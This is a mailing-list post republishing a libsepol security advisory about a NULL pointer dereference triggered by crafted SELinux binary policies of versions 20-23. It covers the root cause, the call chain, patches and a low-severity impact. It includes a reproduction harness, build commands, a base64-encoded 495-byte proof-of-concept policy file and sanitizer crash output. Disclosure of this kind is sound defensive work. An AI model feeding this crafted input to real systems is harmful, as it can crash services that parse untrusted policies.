SECURITY: libsepol <= 3.11: NULL pointer dereference in `hierarchy_add_type_callback` via crafted binary policy (POLICY_KERN versions 20-23)

Stephen Smalley <[email protected]>
Newsgroups org.kernel.vger.selinux
Message-ID <CAEjxPJ51pv-Q02SKEa0T=6zwp_hZkMV-4XCAuD_c+pNnLgkWBw@mail.gmail.com>
A new externally submitted security advisory from Chen Gong has been
published at:
https://github.com/SELinuxProject/selinux/security/advisories/GHSA-r6m6-f5mx-4g63

While we did fix the underlying bugs and published the advisory, this
issue requires attacker-controlled policy and further does not affect
any production policy consumers to our knowledge. Once we merge the
pending update to SECURITY.md that clarifies our policy about such
bugs, we will not accept future security advisories of this nature;
please just post such issues to the list as regular bug reports. We
have not requested a CVE for this bug.

Some details are included below but please use the link above to see
the latest info since it may be updated later.

Summary
A NULL pointer dereference in libsepol/src/hierarchy.c:669 causes a
SIGSEGV when hierarchy_check_constraints() processes a crafted SELinux
binary policy with POLICY_KERN version 20-23. A type entry with
primary=0 creates a NULL gap in p_type_val_to_name[], which is then
passed to strrchr() — a function whose first parameter is declared
nonnull.

Affected version: libsepol 3.11 (tag libsepol-3.11), also confirmed on
main branch (same code)
Vulnerability type: CWE-476 (NULL Pointer Dereference)
Root Cause
Three code paths interact to create the vulnerability:

1. type_index() skips non-primary types (policydb.c:1112)

static int type_index(hashtab_key_t key, hashtab_datum_t datum, void *datap)
{
    ...
    if (typdatum->primary) {          // only indexes primary types
        ...
        p->p_type_val_to_name[typdatum->s.value - 1] = (char *)key;
        p->type_val_to_struct[typdatum->s.value - 1] = typdatum;
    }
    return 0;
}
Types with primary=0 are not indexed — their entries in
p_type_val_to_name[] remain NULL. But they are still present in the
p_types.table hashtab.

2. validate_array_init() skips gap checking for versions 20-23
(policydb_validate.c:73-87)

if (p->policy_type != POLICY_KERN ||
    p->policyvers < POLICYDB_VERSION_AVTAB ||
    p->policyvers > POLICYDB_VERSION_PERMISSIVE) {
    if (validate_init(&flavors[SYM_TYPES], p->p_type_val_to_name,
                      p->p_types.nprim))
        goto bad;
} else {
    // versions 20-23: gaps treated as empty
    flavors[SYM_TYPES].nprim = p->p_types.nprim;
    ebitmap_init(&flavors[SYM_TYPES].gaps);  // empty gaps bitmap
}
For POLICY_KERN versions 20-23, NULL entries in p_type_val_to_name are
not flagged as invalid, so policydb_validate() does not reject the
policy.

3. hierarchy_add_type_callback dereferences NULL without check
(hierarchy.c:634-669)

if (!datum->bounds) {
    datum_name =
        p->p_type_val_to_name[datum->s.value - 1];   // can be NULL

    tmp = strrchr(datum_name, '.');                   // CRASH: NULL
passed to nonnull
    ...
}
hierarchy_add_bounds() calls hashtab_map(p->p_types.table,
hierarchy_add_type_callback, ...), which iterates all types in the
hashtab — including non-primary types with NULL val_to_name entries.

Call chain
LLVMFuzzerTestOneInput (binpolicy-fuzzer.c:60)
  └─ hierarchy_check_constraints (hierarchy.c:708)
       └─ hierarchy_add_bounds (hierarchy.c:689)
            └─ hashtab_map (hashtab.c:245)
                 └─ hierarchy_add_type_callback (hierarchy.c:669)
                      └─ strrchr(NULL, '.')  ← SIGSEGV
PoC
A 495-byte crafted SELinux binary policy file. The key is a type entry
with primary=0, value=2, and name "parent.child" (the dot ensures
strrchr is called rather than returning early).

Reproduction
Build libsepol with ASAN+UBSan and the fuzzer harness from
libsepol/fuzz/binpolicy-fuzzer.c. The fuzzer harness uses
LLVMFuzzerTestOneInput which expects a buffer; we need a file-based
entry.c wrapper to read from a file:

entry.c (file-based LLVMFuzzerTestOneInput wrapper):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

extern int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size);

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "usage: %s <file>\n", argv[0]);
        return 2;
    }
    FILE *f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 2; }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    if (sz < 0) { fclose(f); return 2; }
    uint8_t *buf = malloc((size_t)sz > 0 ? (size_t)sz : 1);
    if (!buf) { fclose(f); return 2; }
    fread(buf, 1, (size_t)sz, f);
    fclose(f);
    LLVMFuzzerTestOneInput(buf, (size_t)sz);
    free(buf);
    return 0;
}
# Build libsepol
git clone --depth 1 --branch libsepol-3.11
https://github.com/SELinuxProject/selinux.git
cd selinux/libsepol
make -C src CC=gcc \
    CFLAGS="-O1 -g -fsanitize=address,undefined
-fno-omit-frame-pointer -I. -I../include -D_GNU_SOURCE" \
    LDFLAGS="-fsanitize=address,undefined" libsepol.a

# Build fuzzer (binpolicy-fuzzer.c + entry.c wrapper)
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -I include -I src \
    -c fuzz/binpolicy-fuzzer.c -o binpolicy-fuzzer.o
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -I include -I src \
    -c entry.c -o entry.o
gcc -fsanitize=address,undefined -o fuzzer \
    binpolicy-fuzzer.o entry.o src/libsepol.a -lm -ldl -lpthread

# Run PoC
ASAN_OPTIONS="detect_leaks=0" ./fuzzer poc.bin
PoC file
The PoC is a 495-byte crafted SELinux binary policy file (POLICY_KERN
version 23, MLS enabled). Save the following base64 as poc.bin:

echo 'jP98+QgAAABTRSBMaW51eBcAAAABAAAACAAAAAcAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAABgAAAAAAAAABAAAAAQAAAAEAAAAAAAAAY2xhc3MxBQAAAAEAAABwZXJtMQAAAAABAAAAAQAAAAgAAAABAAAAb2JqZWN0X3JAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAACAAAAAgAAAAUAAAABAAAAAQAAAHR5cGUxDAAAAAIAAAAAAAAAcGFyZW50LmNoaWxkAQAAAAEAAAAFAAAAAQAAAHVzZXIxQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAEAAABAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAIAAAAAAAAAczABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQABAAEAAQABAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAIAAAAAAAAA'
| base64 -d > poc.bin
The key structure: a POLICY_KERN version 23 policy with 2 types —
type1 (primary=1, value=1) and parent.child (primary=0, value=2). The
primary=0 type is not indexed by type_index(), creating a NULL gap in
p_type_val_to_name[1]. The name "parent.child" contains a dot,
ensuring strrchr() is called rather than returning early.

Crash output
hierarchy.c:669:8: runtime error: null pointer passed as argument 1,
which is declared to never be null
AddressSanitizer:DEADLYSIGNAL
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
Hint: address points to the zero page.
    #0 in __sanitizer::internal_strlen
    #1 in strrchr
    #2 in hierarchy_add_type_callback hierarchy.c:669
    #3 in hashtab_map hashtab.c:245
    #4 in hierarchy_add_bounds hierarchy.c:689
    #5 in hierarchy_check_constraints hierarchy.c:708
    #6 in LLVMFuzzerTestOneInput binpolicy-fuzzer.c:60

SUMMARY: AddressSanitizer: SEGV
Exit code: 1
Impact
Severity: Low — DoS crash, not memory corruption
Attack surface: Any application using libsepol to parse and validate
untrusted binary policy files via sepol_policydb_read() +
hierarchy_check_constraints(), potentially indirectly via
expand_module(). No known production users are affected.
Affected policy versions: POLICY_KERN versions 20-23
Notes: Exploiting this bug requires attacker-controlled policy and
does not appear to be reachable from any SELinux userspace tools.
checkpolicy and checkmodule never call the vulnerable function on a
caller-provided binary policy file. semodule_expand only accepts
binary policy modules as input, not kernel policies. setools does not
call the vulnerable function. Runtime policy consumers are not
affected.
Environment
libsepol version: 3.11 (tag libsepol-3.11), confirmed reproducible on
main branch
Compiler: gcc 14, -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer
Fuzzer harness: binpolicy-fuzzer.c from libsepol/fuzz/
poc.zip
Patches
Fixed via commit 208cea1 and support for the vulnerable policy
versions were entirely removed via commit 3394f1a, to be included in
libsepol 3.12 and later.

Workarounds
Not directly reachable by any production users of libsepol. Although
checkpolicy, checkmodule, and semodule_expand do call expand_module()
and/or hierarchy_check_constraints(), they do not call them for any
kernel binary policy that they didn't generate themselves.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.